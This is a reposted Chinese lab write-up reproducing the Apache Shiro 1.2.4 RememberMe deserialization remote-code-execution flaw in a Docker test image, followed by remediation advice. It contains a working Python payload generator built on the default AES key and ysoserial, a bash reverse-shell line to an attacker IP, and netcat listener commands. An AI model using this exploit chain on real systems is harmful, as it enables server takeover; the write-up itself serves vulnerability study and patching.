Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:13678 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
本周热门文章
合规审计平台 Bombus 开源首发   2020.09.21 17:48:13  83
在看 | 一周网安回顾 2020.9.12~9.18   2020.09.19 13:30:55  71
PWN小白入门   2020.09.17 13:16:39  69
Wireshark解密HTTPS流量   2020.09.18 08:30:58  66
总第009期 | 攻防对抗,情报先行!   2020.09.17 20:35:01  65
网络空间安全专业被劝退了吗?| 知道   2020.09.18 12:00:03  63
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
本文来自公众号:弥天安全实验室   2019.12.10 13:14:13


网安引领时代,弥天点亮未来




环境介绍


  • Docker安装:

    http://c.biancheng.net/view/3124.html

  • Maven:

    https://blog.csdn.net/xiaokui9/article/details/82424947


复现过程

1、使用docker进行漏 洞复现,拉取镜像;

docker pull medicean/vulapps:s_shiro_1

2、启动环境,将环境运行在宿主机的8081端口上;

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

3、进入容器环境,如下图所示:

docker ps //确定容器IDdocker exec -it ID /bin/bash

4、进入该docker的tomcat lib目录

/usr/local/tomcat/webapps/ROOT/WEB-INF/lib,

看到造成漏洞的jar包为:

shiro-core-1.2.4.jar

commons-collections4-4.0.jar

(为了进行命令执行的测试,额外添加的版本)


5、访问 web 环境(http://ip:8081/login.jsp)并登陆,登陆时勾选remember me;


6、成功登录后访问任意url并抓包,查看到cookie中的remember me参数;


7、生成payload的脚本shiro.py,该文件最好置于ysoserial目录之中,以便进行POC编译。

import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command):    popen = subprocess.Popen(['java''-jar''ysoserial.jar''JRMPClient', command], stdout=subprocess.PIPE)    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")    iv = uuid.uuid4().bytes    encryptor = AES.new(key, AES.MODE_CBC, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertextif __name__ == '__main__':    payload = encode_rememberme(sys.argv[1])    print "rememberMe={0}".format(payload.decode())

8、生成POC; 攻击机中执行命令,获取rememberMe值:

python shiro.py 192.168.17.147:1010


9、使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行bash编码

bash -I >& /dev/tcp 192.168.17.141/6666 0>&1


命令编码后,保存到文件ns.txt中,便于命令输入。 (使用PUTTY将文件上传至攻击机中)


10、使用ysoserial中JRMP监听模块,监听12345端口,如下图所示:


11、监听反弹端口6666,攻击机中执行命令:

nc -lvnp 6666


12、将之前执行POC,获得的rememberMe置入cookies中;


13、漏洞利用-ysoserial 1001端口监听确认,如下图所示:


14、成功获取shell。


修复建议

首先,无论是否升级shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密钥一旦泄露,就会导致反序列化漏洞。

看到官方的操作如下:

  1. 删除代码里的默认密钥

  2. 默认配置里注释了默认密钥

  3. 如果不配置密钥,每次会重新随机一个密钥

可以看到并没有对反序列化做安全限制,只是在逻辑上对该漏洞进行了处理。 如果在配置里自己单独配置AES的密钥,并且密钥一旦泄露,那么漏洞依然存在。

进行漏洞修复的话,建议下面的方案同时进行:

1、升级shiro到1.2.5及以上

2、如果在配置里配置了密钥,那么请一定不要使用网上的密钥,一定不要!

请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥:

org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()


总结思考

1、因为shiro.py文件是python3编码的,在攻击机中需要有python3的环境,若在kali中进行漏洞验证,是可以进行python2与python3进行切换的,不建议卸载python2的环境后重装python3。 如下图所示:


2、在网上想找ysoserial.jar的工具包,但给出的链接要么没资源,要么就需要付费,可以通过mvn对pom.xml文件进行编译,获得相关文件。

git clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTests




知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,
予以风动,
必降弥天之润!


弥  天

安全实验室